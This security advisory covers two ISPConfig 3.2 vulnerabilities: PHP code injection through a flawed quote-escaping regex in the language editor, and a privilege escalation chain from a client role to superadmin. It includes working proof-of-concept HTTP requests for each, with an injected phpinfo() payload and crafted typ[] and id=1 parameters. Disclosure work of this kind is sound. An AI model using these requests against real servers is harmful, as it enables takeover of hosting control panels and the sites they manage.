In Brief

The analysis conducted on ISPConfig (version 3.2 build 12p1) uncovered critical design flaws in the user creation and editing functionalities. These flaws allow a client user to escalate their privileges to superadmin. Furthermore, the language modification feature enables arbitrary PHP code injection due to insufficient input validation.

Scenario

  • Analysed Product: ISPConfig - Download
  • Vulnerable Asset: ISPConfig Control Panel
  • Prerequisites: No Special Configuration are required to exploit this vulnerability
  • Privileges Required: Remote User with Client Function or Client User with admin module enabled.

Vendor Response

Together with SSD Disclosure, we reported the vulnerabilities to the vendor. While the code injection itself was “acknowledged”, the vendor argued that the full exploitation chain does not represent a real threat, claiming it requires elevated (superadmin) privileges… We clarified that, contrary to this assessment, the privilege escalation can be triggered by a remote user with access to client functions (i.e., a user allowed to create client accounts no admin user) or even a client user with the admin module enabled, a configuration allowed through the web interface, but which does not grant actual admin rights. Despite our explanation, we were unable to reach an agreement.

SSD Advisory

In Depth

Code Injection in language_edit functionality

Code Injection in language_edit functionality
Vulnerable Assethttps://ispconfig.zerone.local:8080/admin/language_edit.php
CWECWE-96: Improper Neutralization of Directives in Statically Saved Code (‘Static Code Injection’)
CWE-185: Incorrect Regular Expression
PreconditionThe user must be a superadmin (admin with ID 1) or any admin user if the security setting: admin_allow_langedit is set to yes.
Short DescriptionThe language modification feature, accessible from the ISPConfig control panel under System > Language Editor > Languages, allows the injection of arbitrary PHP code due to improper validation of user input, which is partially filtered using regex.
ImpactInserting arbitrary PHP code within language PHP templates files.

Overview

_The code in interface/web/admin/language_edit.php is responsible for handling the editing of language files in ISPConfig, allowing administrators (superadmin) to modify and save translations via the web control panel.

ISPConfig uses files with the .lng extension to manage translations of the user interface in different languages. These files contain translated strings for the ISPConfig interface. They are essentially PHP code defining an associative array $wb with the translations (e.g. $wb['key'] = 'translated value.'), and are directly included in the code.

Code Behavior & Sanitization Logic

Upon analyzing the code responsible for modifying these files, it is evident that it uses regex (line: 65) to escape any " characters in order to prevent potential attempts of arbitrary PHP code injection when reconstructing the array (line: 68).

In detail: the initial step involves verifying the data that has been submitted. This includes checking whether the variable $_POST['records'] exists and confirming that it is an array.

Subsequently, the CSRF check is conducted: $app->auth->csrf_token_check().

Following this, the content of the PHP file is generated. A string is initialized, starting with the PHP opening tag (<?php\n), to which additional lines are appended. For each element within the $_POST['records'] array:

The foreach function iterates through each element of the array $_POST['records']. Each element of the array is treated as a key/value pair, where $key is the key of the element and $val is the value associated with the key.

  1. Any escape characters are removed using the stripslashes() function:
    • $val = stripslashes($val);
  2. The preg_replace() function uses a regular expression (regex) to search for and modify “all” occurrences of double quotes (") in the value $val.
    • It searches for double quotes (") that are not preceded by a backslash.
    • It replaces them with an “escaped” version of the quote, i.e. \".
      • $val = preg_replace('/(^|[^\\\\])((\\\\\\\\)*)"/', '$1$2\\"', $val);
  3. The str_replace() function removes all occurrences of the dollar sign ($) from the string $val.

Additionally, it is verified that the key of each record is valid, allowing only letters, numbers, and underscores. If any key is deemed invalid, the process is halted and an error is triggered.

Root Cause

The critical flaw in the code occurs in line: 65, specifically within the regex pattern /(^|[^\\\\])((\\\\\\\\)*)"/:

$val = preg_replace('/(^|[^\\\\])((\\\\\\\\)*)"/', '$1$2\\"', $val);

The regex uses the group (^|[^\\\\]) to enforce a rule: a double quote (") must either be at the start of the string (^) or preceded by a non-backslash character ([^\\\\]). While this logic works for isolated quotes, it breaks for consecutive quotes due to how the regex engine processes characters.

  1. Character Consumption: The (^|[^\\\\]) group consumes a character (either the start-of-string position or a non-backslash character). Once matched, the regex engine advances past this character.

For example: Evil_Str""ing

  • First " character:
    • The regex matches r (a non-backslash character) and the following ".
    • Result: r"r\" (escaped).
    • The regex engine moves to the next position after the first ".
  • Second " character:
    • The next character is the second ", but there’s no preceding character to match (^|[^\\\\]) (the previous position was already consumed).
    • The regex fails to recognize the second " because it now expects either:
      • The start of the string (^), which no longer applies.

      • A non-backslash character, but the position before the " is empty.

Outcome Only the first " is escaped. The second " remains unprocessed.

The regex’s (^|[^\\\\]) group acts like a “character tax” – it requires and consumes a character (start-of-string or non-backslash) to escape a ". This design makes it impossible to handle consecutive " because once a character is “taxed” (consumed), subsequent quotes have nothing left to satisfy the rule.

<?php
$val = 'Ev"il_Str""ing';
echo("BEFORE REGEX: " . $val);
$val = stripslashes($val);
$val = preg_replace('/(^|[^\\\\])((\\\\\\\\)*)"/', '$1$2\\"', $val);
echo("\nAFTER REGEX: " . $val);
BEFORE REGEX: Ev"il_Str""ing
AFTER REGEX: Ev\"il_Str\""ing

It all becomes clearer visually:

Proof of Concept

POST /admin/language_edit.php HTTP/2
Host: ispconfig.zerone.local:8080
Cookie: ISPCSESS=omitted
Content-Length: 3670
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 
records%5Berror_user_password_empty%5D=Username+or+Password+empty.&records%5Berror_user_password_incorrect%5D=Username+or+Password+wrong.%22%22%3Bphpinfo()%3B%2F%2F&records%5Berror_user_blocked%5D=&<omitted_for_brevity>&_csrf_id=language_edit_f114571ae5cb1c5b1230c798&_csrf_key=813f4ce414360a414fb7c140ea1e00344e2cd69a

Privilege Escalation through users_edit functionality

Privilege Escalation through users_edit functionality
Vulnerable Assethttps://ispconfig.zerone.local:8080/admin/users_edit.php
CWECWE-284: Improper Access Control
CWE-20: Improper Input Validation
PreconditionAuthenticated “Remote User” with “Client Functions” enabled, or canonical client user with admin module enabled.
Short DescriptionISPConfig allows Remote Users with Client Functions enabled to perform privilege escalation by creating/modifying users, ultimately gaining access as an administrator with id=1 (“superadmin”), as it is possible to bypass existing controls through a specially crafted request body.
ImpactPrivilege escalation from a limited client role to full administrative control.

Description

Starting from the following Remote User, which is created based on the configuration file interface/web/client/lib/remote.conf.php, by enabling the Client functions that allow the invocation of the client_add function from the remoting_client class, it is possible to gain access to ISPConfig as a superadmin user. This can be done by first creating a client user using the admin module, then creating an admin user from the client account, and finally “modifying” the superadmin user.

The client_add function handles the addition of a new client:

The function first checks if the user has the necessary permissions to add a client. Then, it performs several checks before calling the klientadd function.

	protected function klientadd($formdef_file, $reseller_id, $params)
	{
		global $app;
 
		//* Load the form definition
		$app->remoting_lib->loadFormDef($formdef_file);
 
		//* load the user profile of the client
		$app->remoting_lib->loadUserProfile($reseller_id);
 
		//* Get the SQL query
		$sql = $app->remoting_lib->getSQL($params, 'INSERT', 0);
 
		//* Check if no system user with that username exists
		$username = $params["username"];
        ...
 
		//$app->uses('tform');
		//* Save changes to Datalog
		if($app->remoting_lib->formDef["db_history"] == 'yes') {
			$new_rec = $app->remoting_lib->getDataRecord($insert_id);
			$app->remoting_lib->datalogSave('INSERT', $primary_id, array(), $new_rec);
			$app->remoting_lib->ispconfig_sysuser_add($params, $insert_id);
 
			if($reseller_id) {
				$client_group = $app->db->queryOneRecord("SELECT * FROM sys_group WHERE client_id = ?", $insert_id);
				$reseller_user = $app->db->queryOneRecord("SELECT * FROM sys_user WHERE client_id = ?", $reseller_id);
				$app->auth->add_group_to_user($reseller_user['userid'], $client_group['groupid']);
				$app->db->query("UPDATE client SET parent_client_id = ? WHERE client_id = ?", $reseller_id, $insert_id);
			}
 
		}
		return $insert_id;
	}

The klientadd function handles the addition of a new client by calling the ispconfig_sysuser_add function.

The ispconfig_sysuser_add function creates a new user in the ISPConfig system by retrieving the necessary parameters, checking the startup module, creating a group associated with the user, encrypting the password, and inserting the user data into the database, including access modules and customer information.

The function itself does not perform checks on the modules that the remote user can assign to the user they are creating. This means that a remote user with “Client functions” enabled is able to create a new client with the admin module enabled.

Creating a client with the admin module enabled allows the invocation of the file web/admin/users_edit.php, as the system only checks for the presence of the admin module in the user session (which will be set during the login of the user created by the remote user).

Bypass of Admin Creation Restrictions

In the code of update_users.php, at line 57, there is a check that is triggered when attempting to create a user with the admin role (typ[0] == admin). This check verifies a specific security setting called admin_allow_new_admin, which is found in the file security/security_settings.ini. By default, this setting is configured as superadmin,eaning t mhat only the user with the “admin” role and ID 1 (superadmin) is allowed to create new admin users. If, however, this setting were set to “yes,” all users with the admin role would have the ability to create new administrators.

However, this check can be easily bypassed. In fact, typ is an array, and the code only checks if the first element of this array is “admin” (typ[0] == admin). This means that the request can be manipulated by passing, for example, typ[0]=&typ[1]=admin, causing the check to fail and allowing the creation of a new user with the admin role.

The need to first create an admin user and then later modify the user with id=1 (superadmin) is dictated by the getSQL function of the tform_action class (interface/lib/classes/tform_actions.inc.php), loaded at the beginning of the file: $app->load('tform_actions');

Very briefly, if the user performing an UPDATE or INSERT and is not an admin user, the function will deny the execution of the update or insert query.

So, the customer user will be able to create the admin user simply by setting the typ array at position [1] to admin, and then later repeat the same request with the admin user just created, but by setting the id parameter to 1.

Proof of Concept

  1. Creation of client user with admin module via Remote User.
POST /remote/json.php?client_add HTTP/2
Host: ispconfig.zerone.local
User-Agent: PHP-SOAP/8.2.27
Content-Type: application/json;
Content-Length: 292
 
{"session_id":"m9314f1bb9b12fbbf908a49bfd889e51db9036ebf","params":{"contact_name":"user1",
"language":"it","email":"tester@ssd.com","username":"user1","password":"Belen123!","ssh_chroot":"/dev/null","startmodule":"admin","modules":"admin","web_php_options":["php-fpm"],"limit_cron_type":1}}
  1. Login into ISPConfig with the newly created client user (user1).

  2. Execution of request with modification and addition of typ parameter for admin user creation from user1

POST /admin/users_edit.php HTTP/2
Host: ispconfig.zerone.local:8080
Cookie: ISPCSESS=2rlr4lqviuvnmm7lh6p23ea2ge
Content-Length: 350
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 
username=adminuser&passwort=Belen123!&repeat_password=Belen123!&otp_type=none&modules%5B%5D=admin&startmodule=admin&app_theme%5B%5D=default&typ%5B%5D=&typ[]=admin&active=1&language=en&lost_password_function=1&id=&_csrf_id=users_53dfd12fbf9553e7e78da358&_csrf_key=2869a8ca7f364bea061b7142ff0b5bbcd5b0ba3c&next_tab=&phpsessid=2rlr4lqviuvnmm7lh6p23ea2ge

One should have a situation similar to:

  1. Loggin in as: adminuser

  2. Execution of the request with the id parameter modified to 1 and the addition of the typ parameter to create a superadmin user from an admin user.

POST /admin/users_edit.php HTTP/2
Host: ispconfig.zerone.local:8080
Cookie: ISPCSESS=6t64khno1jle0ch59cf7muohv1
Content-Length: 350
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 
username=superadmin&passwort=Belen123!&repeat_password=Belen123!&otp_type=none&modules%5B%5D=admin&startmodule=admin&app_theme%5B%5D=default&typ%5B%5D=&typ[]=admin&active=1&language=en&lost_password_function=1&id=1&_csrf_id=users_0d08bd09f4844c039571391d&_csrf_key=f2923b3ff88b300521a71d4a6b76c4f1eb90d2c7&next_tab=&phpsessid=6t64khno1jle0ch59cf7muohv1

Now the situation should be similar to:

Exploit

Reference